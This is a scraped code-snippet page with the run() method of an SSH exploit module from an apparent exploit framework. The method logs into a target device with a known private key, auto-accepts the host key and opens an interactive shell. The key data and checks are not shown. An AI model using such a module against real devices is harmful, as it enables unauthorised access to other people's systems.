ssh_auth_keys.py 文件源码

python
阅读 27 收藏 0 点赞 0 评论 0

项目:purelove 作者: hucmosin 项目源码 文件源码
def run(self):
        if self.check():
            if "DSA PRIVATE KEY" in self.valid['private_key']:
                pkey = paramiko.DSSKey.from_private_key(StringIO.StringIO(self.valid['private_key']))
            elif "RSA PRIVATE KEY" in self.valid['private_key']:
                pkey = paramiko.RSAKey.from_private_key(StringIO.StringIO(self.valid['private_key']))

            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            try:
                ssh.connect(self.target, self.ssh_port, timeout=5, username=self.valid['user'], pkey=pkey)
            except Exception:
                ssh.close()
                print_error("Device seems to be not vulnerable")
            else:
                print_success("SSH - Successful authentication")
                ssh_interactive(ssh)
        else:
            print_error("Exploit failed - target seems to be not vulnerable")
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号